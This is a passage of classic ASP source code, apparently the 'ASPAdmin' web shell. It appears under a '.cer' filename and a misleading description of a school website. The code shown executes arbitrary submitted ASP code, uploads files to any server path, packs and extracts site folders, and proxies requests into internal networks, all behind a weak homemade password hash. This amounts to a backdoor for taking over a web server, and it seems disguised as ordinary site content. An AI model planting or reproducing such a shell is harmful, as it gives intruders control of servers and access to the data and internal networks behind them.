200681443122869.cer

学校部门网站设计,里面有好多模块譬如 简介联系方式 登陆注册留言新闻发布

		ChkErr(Err)
		rs.Open "FileData", conn, 1, 1
		stream.Open
		stream.Type = 1

		Do Until rs.Eof
			theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\"))
			If fso.FolderExists(str & theFolder) = False Then
				CreateFolder(str & theFolder)
			End If
			stream.SetEOS()
			If IsNull(rs("fileContent")) = False Then stream.Write rs("fileContent")
			stream.SaveToFile str & rs("thePath"), 2
			rs.MoveNext
		Loop

		rs.Close
		conn.Close
		stream.Close
		Set ws = Nothing
		Set rs = Nothing
		Set stream = Nothing
		Set conn = Nothing
	End Sub
	
	Sub FsoTreeForMdb(strPath, rs, stream)
		Dim item, theFolder, folders, files
		Set theFolder = fso.GetFolder(strPath)
		Set files = theFolder.Files
		Set folders = theFolder.SubFolders

		For Each item In folders
			Call FsoTreeForMdb(item.Path, rs, stream)
		Next

		For Each item In files
			If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
				rs.AddNew
				rs("thePath") = Mid(item.Path, Len(rootPath) + 2)
				stream.LoadFromFile(item.Path)
				rs("fileContent") = stream.Read()
				rs.Update
			End If
		Next

		Set files = Nothing
		Set folders = Nothing
		Set theFolder = Nothing
	End Sub

	Sub PageUpload()
		ShowTitle("批量文件上传")
		theAct = Request.QueryString("theAct")
		If theAct = "upload" Then
			StreamUpload()
			echo "<script>alert('上传成功!');history.back();</script>"
		End If
		ShowUpload()
	End Sub
	
	Sub ShowUpload()
		If thePath = "" Then thePath = "/"
		echo "<form method=post onsubmit=this.Submit.disabled=true; enctype='multipart/form-data' action=?PageName=PageUpload&theAct=upload>"
		echo "<table width=750>"
		echo "<tr>"
		echo "<td class=td colspan=2><font face=webdings>8</font> 批量文件上传</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td width='20%'>"
		echo "&nbsp;上传到:"
		echo "</td>"
		echo "<td>"
		echo "&nbsp;<input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=48><input type=checkbox name=overWrite>覆盖模式"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td valign=top>"
		echo "&nbsp;文件选择: "
		echo "</td>"
		echo "<td>&nbsp;<input id=fileCount size=6 value=1> <input type=button value=设定 onclick=makeFile(fileCount.value)>"
		echo "<div id=fileUpload>"
		echo "&nbsp;<input name=file1 type=file size=50>"
		echo "</div></td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td align=center class=td colspan=2>"
		echo "<input type=submit name=Submit value=上传 onclick=this.form.action+='&overWrite='+this.form.overWrite.checked;>"
		echo "<input type=reset value=重置><input type=button value=关闭 onclick=window.close();>"
		echo "</td>"
		echo "</tr>"
		echo "</table>"
		echo "</form>"
		echo "<script language=javascript>" & vbNewLine
		echo "function makeFile(n){" & vbNewLine
		echo "	fileUpload.innerHTML = '&nbsp;<input name=file1 type=file size=50>'" & vbNewLine
		echo "	for(var i=2; i<=n; i++)" & vbNewLine
		echo "		fileUpload.innerHTML += '<br/>&nbsp;<input name=file' + i + ' type=file size=50>';" & vbNewLine
		echo "}" & vbNewLine
		echo "</script>"
	End Sub
	
	Sub StreamUpload()
		Dim sA, sB, aryForm, aryFile, theForm, newLine, overWrite
		Dim strInfo, strName, strPath, strFileName, intFindStart, intFindEnd
		Dim itemDiv, itemDivLen, intStart, intDataLen, intInfoEnd, totalLen, intUpLen, intEnd
		If isDebugMode = False Then On Error Resume Next
		Server.ScriptTimeOut = 5000
		newLine = ChrB(13) & ChrB(10)
		overWrite = Request.QueryString("overWrite")
		overWrite = IIf(overWrite = "true", "2", "1")
		Set sA = Server.CreateObject("Adodb.Stream")
		Set sB = Server.CreateObject("Adodb.Stream")
		
		sA.Type = 1
		sA.Mode = 3
		sA.Open
		sA.Write Request.BinaryRead(Request.TotalBytes)
		sA.Position = 0
		theForm = sA.Read()
'		sA.SaveToFile "c:\001.txt", 2 ''保存到临时文件进行查看
		itemDiv = LeftB(theForm, InStrB(theForm, newLine) - 1)
		totalLen = LenB(theForm)
		itemDivLen = LenB(itemDiv)
		intStart = itemDivLen + 2
		intUpLen = 0 '上面数据的长度
		Do
			intDataLen = InStrB(intStart, theForm, itemDiv) - itemDivLen - 5 ''equals - 2(回车) - 1(InStr) - 2(回车)
			intDataLen = intDataLen - intUpLen
			intEnd = intStart + intDataLen
			intInfoEnd = InStrB(intStart, theForm, newLine & newLine) - 1

			sB.Type = 1
			sB.Mode = 3
			sB.Open
			sA.Position = intStart
			sA.CopyTo sB, intInfoEnd - intStart ''保存元素信息部分
			
			sB.Position = 0
			sB.Type = 2
			sB.CharSet = "GB2312"
			strInfo = sB.ReadText()

			strFileName = ""
			intFindStart = InStr(strInfo, "name=""") + 6
			intFindEnd = InStr(intFindStart, strInfo, """", 1)
			strName = Mid(strInfo, intFindStart, intFindEnd - intFindStart)

			If InStr(strInfo, "filename=""") > 0 Then ''>0则为文件,开始接收文件
				intFindStart = InStr(strInfo, "filename=""") + 10
				intFindEnd = InStr(intFindStart, strInfo, """", 1)
				strFileName = Mid(strInfo, intFindStart, intFindEnd - intFindStart)
				strFileName = Mid(strFileName, InStrRev(strFileName, "\") + 1)
			End If

			sB.Close
			sB.Type = 1
			sB.Mode = 3
			sB.Open
			sA.Position = intInfoEnd + 4
			sA.CopyTo sB, intEnd - intInfoEnd - 4

			If strFileName <> "" Then
				sB.SaveToFile strPath & strFileName, overWrite
				ChkErr(Err)
			 Else
				If strName = "thePath" Then
					sB.Position = 0
					sB.Type = 2
					sB.CharSet = "GB2312"
					strInfo = sB.ReadText()
					thePath = strInfo
					If Mid(thePath, 2, 1) = ":" Then
						ShowErr("对不起,上传只能使用虚拟路径!")
					End If
					strPath = Server.MapPath(strInfo) & "\"
				End If
			End If
			
			sB.Close

			intUpLen = intStart + intDataLen + 2
			intStart = intUpLen + itemDivLen + 2
		Loop Until (intStart + 2) = totalLen

		sA.Close
		Set sA = Nothing
		Set sB = Nothing
	End Sub

	Sub PageLogin()
		Dim passWord
		passWord = Encode(GetPost("password"))

		If theAct = "Login" Then
			If userPassword = passWord Then
				Session(m & "userPassword") = userPassword
				ShowTitle("登录成功!")
				PageReadMe()
				Exit Sub
			End If
		End If
		
		If pageName = "PageOut" Then
			Session.Contents.Remove(m & "userPassword")
			RedirectTo(url)
		End If
		
		If Session(m & "userPassword") = userPassword Then
			PageReadMe()
			Exit Sub
		End If
		
		ShowTitle("管理登录")
		echo "<body onload=document.formx.password.focus();>"
		echo "<table width=416 align=center>"
		echo "<form method=post name=formx action=""" & url & """>"
		echo "<input type=hidden name=theAct value=Login>"
		echo "<tr>"
		echo "<td align=center class=td>管理登录</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td height=75 align=center>"
		echo "<input name=password type=password style='border:1px solid #d8d8f0;background-color:#ffffff;'> "
		echo "<input type=submit value=LOGIN style='border:1px solid #d8d8f0;background-color:#f9f9fd;'>"
		echo "</td>"
		echo "</tr>"
		echo "<tr> "
		echo "<td align=center class=td>程序网络工作组ASP站点管理员 V1.02</td>"
		echo "</tr>"
		echo "</form>"
		echo "</table>"
		echo "</body>"
	End Sub
	
	Sub PageReadMe()
		Dim strInfo, aryInfo(7), theAry
		ShowTitle("ASPAdmin 简单说明")
		
		aryInfo(0) = "服务器信息探针|1.服务器基本信息<br/>&nbsp;&nbsp;WEB服务器的一些基本信息<br/>2.服务器组件信息<br/>&nbsp;&nbsp;一些常用的ASP组件的支持情况检测<br/>" & _
					 "3.Application/Session查看<br/>&nbsp;&nbsp;所有系统变量及其值的查看, 当前浏览器进程和服务器的会话及内容的查看"
		aryInfo(1) = "FSO文件浏览操作器|1.基本功能<br/>&nbsp;&nbsp;站点目录浏览, 新建, 重命名, 另存为, 删除, 文本编辑, 复制/移动到文件夹<br/>" & _
					 "2.外链功能<br/>&nbsp;&nbsp;项目打包(文件夹打包/解开器), mdb类型数据库操作(数据库操作器), 文件上传(批量文件上传)"
		aryInfo(2) = "数据库操作器<br/>(Access, SQL Server)|1.基本功能:<br/>&nbsp;&nbsp;数据库基本表结构查看, 数据表记录操作(查看,添加,修改,删除), 多条件记录查询<br/>" & _
					 "2.扩展功能<br/>&nbsp;&nbsp;执行自定义查询, 用来执行所有自定义SQL语句, 如果是Select查询还可以返回记录"
		aryInfo(3) = "文件夹打包/解开器|1.文件夹打包<br/>&nbsp;&nbsp;指定要打包的文件夹, 按""开始打包""后生成" & sPacketName & "(位于要打包的文件夹目录)<br/>" & _
					 "2.文件包解开<br/>&nbsp;&nbsp;指定文件包相对路径, 按""开始解包"", 解开目录为文件包(" & sPacketName & ")所在目录"
		aryInfo(4) = "批量文件上传|进入页面后, 指定好要上传的目标目录, 如果要上传多个, 请先设定上传文件数量,<br/>然后选择要上传的文件, 选择完毕后开始上传, 如果要上传的文件可能已经存在,可以选择""覆盖模式""<br/>进行覆盖上传"
		aryInfo(5) = "文本文件搜索器|指定搜索目录, 填写好搜索关键字, 指定搜索条件(文件名,文本内容,或者两者)后按提交即可"
		aryInfo(6) = "HTTP网页代理|通过另一台服务器来访问你所要访问的网页, 并把结果返回给你;<br/>把程序放在一台既能让外网访问又能被内网访问的WEB服务器上, 这样你就可以从网内通过它来上网,<br/>可以从网外通过它来访问内网网站, 这是一个神奇的功能"
		aryInfo(7) = "自定义ASP语句执行|允许执行自定义ASP语句, 但是变量及模块命名受程序本身的已命名限制"

		TopMenu()
		echo "<table width=750>"
		echo "<tr>"
		echo "<td class=td colspan=2><font face=webdings>8</font> ASPAdmin 简单说明</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		
		For Each strInfo In aryInfo
			theAry = Split(strInfo, "|")
			echo "<tr>"
			echo "<td width='20%' valign=top>&nbsp;" & theAry(0) & "</td>"
			echo "<td style='padding-left:7px;'><span>" & theAry(1) & "</span></td>"
			echo "</tr>"
		Next

		echo "<tr>"
		echo "<td class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=td colspan=2 align=right>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</table>"
	End Sub
	
	Function Encode(strPass)
		Dim i, theStr, strTmp

		For i = 1 To Len(strPass)
			strTmp = Asc(Mid(strPass, i, 1))
			theStr = theStr & Abs(strTmp)
		Next

		strPass = theStr
		theStr = ""

		Do While Len(strPass) > 16
			strPass = JoinCutStr(strPass)
		Loop

		For i = 1 To Len(strPass)
			strTmp = CInt(Mid(strPass, i, 1))
			strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)
			theStr = theStr & strTmp
		Next

		Encode = theStr
	End Function
	
	Function JoinCutStr(str)
		Dim i, theStr
		For i = 1 To Len(str)
			If Len(str) - i = 0 Then Exit For
			theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i + 1, 1))) / 2))
			i = i + 1
		Next
		JoinCutStr = theStr
	End Function

	Sub PageExecute()
		Dim strAspCode
		strAspCode = GetPost("AspCode")
		ShowTitle("自定义ASP语句执行")

		If theAct = "Exe" Then
			echo "<table width=750 class=fixTable>"
			echo "<tr>"
			echo "<td class=trHead>&nbsp;</td>"
			echo "</tr>"
			echo "<tr>"
			echo "<td class=td><font face=webdings>8</font> 执行结果</td>"
			echo "</tr>"
			echo "<tr><td style='padding-left:6px;padding-right:5px;'>"
			Execute(strAspCode)
			echo "</td></tr></table>"
		End If
		ShowExeTable(strAspCode)
	End Sub
	
	Sub ShowExeTable(strAspCode)
		echo "<form method=post onsubmit=this.Submit.disabled=true; action=""" & url & """>"
		echo "<table width=750>"
		echo "<tr>"
		echo "<td class=td colspan=2><font face=webdings>8</font> 自定义ASP语句执行</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td valign=top width='10%'>"
		echo "&nbsp;ASP语句: "
		echo "</td>"
		echo "<td>&nbsp;"
		echo "<textarea name=AspCode cols=91 rows=23 title='By Marcos 2005.06'>" & HtmlEncode(strAspCode) & "</textarea>"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td align=center class=td colspan=2>"
		echo "<input type=hidden name=PageName value=PageExecute>"
		echo "<input type=hidden name=theAct value=Exe>"
		echo "<input type=submit name=Submit value=提交>"
		echo "<input type=reset value=重置>"
		echo "</td>"
		echo "</tr>"
		echo "</table>"
		echo "</form>"
	End Sub

	Sub PageWebProxy()
		Dim i, re, Url, Html
		Response.Clear()
		Url = Request.QueryString("url")
		If Url = ""